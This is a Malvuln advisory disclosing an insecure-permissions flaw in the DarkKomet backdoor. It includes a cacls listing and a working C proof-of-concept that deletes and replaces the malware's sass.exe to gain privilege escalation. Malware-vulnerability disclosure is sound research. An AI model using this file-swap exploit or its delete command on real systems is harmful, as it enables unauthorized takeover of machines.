Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/d6c930e0ac1df934151d1890f6441fe2.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.DarkKomet.apbb
Vulnerability: Insecure Permissions
Description: DarkKomet creates an insecure dir named "Windupdt" under c:\ drive, this allows unprivileged users to take over the infected system, as it grants change (C) permissions to the authenticated users group.
Type: PE32
MD5: d6c930e0ac1df934151d1890f6441fe2
Vuln ID: MVID-2021-0054
Dropped files: sass.exe
Disclosure: 01/26/2021


Exploit/PoC:
C:\>cacls "C:\Windupdt\sass.exe"
C:\Windupdt\sass.exe BUILTIN\Administrators:(ID)F
                     NT AUTHORITY\SYSTEM:(ID)F
                     BUILTIN\Users:(ID)R
                     NT AUTHORITY\Authenticated Users:(ID)C

#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\Windupdt\\sass.exe"
#define TMP "C:\\Windupdt\\2.exe"
#define DISABLED_TARGET "C:\\Windupdt\\pwnkomet.tmp"

/* Backdoor.Win32.DarkKomet.apbb.d6c930e0ac1df934151d1890f6441fe2 */
/* Insecure Permissions EoP */
/* Log out of the current privileged user account, run the exploit as standard user then log back in. */
/* By Malvuln */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
  DWORD dwAttrib = GetFileAttributes(szPath);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){
   
  if(!FileExists(DISABLED_TARGET)){
    WinExec("cmd.exe /c del C:\\Windupdt\\sass.exe", 0);
    Sleep(1000);
    CopyFile(TARGET, TMP, FALSE);
    Sleep(1000);
    CopyFile(TMP, DISABLED_TARGET, FALSE);
    printf("[+] Backdoor.Win32.DarkKomet.apbb EoP PoC\n");
    Sleep(1000);
    printf("[+] Disabled sass.exe ...\n");
    Sleep(300);
   }else{
     PWNED=TRUE;
   }
   
    if(!PWNED){
       char fname[MAX_PATH];
        char newLoc[]=TARGET;
        DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
       if (size){
         printf("[+] Copying exploit to vuln System dir...\n");
         Sleep(1000);
         CopyFile(fname, TARGET, FALSE);
         printf("[+] Replaced sass.exe...\n");
         printf("[+] Done!\n");
         exit(0);
        }
    }else{
      if(FileExists(TMP)){
         remove(TMP);
      }
       printf("[+] Backdoor.Win32.DarkKomet.apbb PWNED!\n");
       printf("[+] MD5: d6c930e0ac1df934151d1890f6441fe2\n");
       printf("[+] By John Page (Malvuln)\n");
       system("pause");
     }
}



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